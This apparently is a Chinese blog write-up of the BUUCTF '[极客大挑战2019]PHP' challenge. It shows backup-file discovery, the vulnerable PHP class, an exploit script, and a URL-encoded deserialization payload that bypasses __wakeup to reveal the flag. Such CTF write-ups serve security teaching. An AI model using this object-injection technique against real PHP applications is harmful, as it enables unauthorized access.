前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >极客大挑战2019PHP题目详解

极客大挑战2019PHP题目详解

作者头像
KevinBruce
发布2020-03-12 16:08:11
2.3K0
发布2020-03-12 16:08:11
举报
文章被收录于专栏:CTF及算法学习

题目来源

题目来源为buuoj.cn。

题目为buuoj.cn的web题目组的[极客大挑战2019]PHP。

解题过程

网站的首页是一只可爱的猫猫,挪动鼠标猫猫会跟着转头,很好玩!

网页中提到了备份网站,因此可以尝试使用一个网站备份文件名的字典来进行爆破,发现网站中有www.zip文件。

下载下来发现文件中有index.php,flag.php和class.php,直接提交flag.php中的字符串错了,果然只是个备份!

分析index.php发现:

这里很可能考察反序列化,查看文件中包含的class.php文件。

代码语言:javascript
复制
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

分析代码可知在执行destruct魔术方法的时候,如果用户名为admin,密码为100则可以输出flag的值。

但是wakeup方法会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。

exp

代码语言:javascript
复制
<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>

payload及结果

http://82296a94-13ea-4f20-8bfd-622d9c3787d7.node3.buuoj.cn/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

结语

爆破目录使用的工具来源于:

https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true

这道题总体上不难,考点只有反序列化wakeup的绕过和了解常见的备份文件目录,不过小猫咪真的很好玩,我玩了半天,哈哈哈。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-02-19 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 题目来源
  • 解题过程
  • exp
  • payload及结果
  • 结语
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档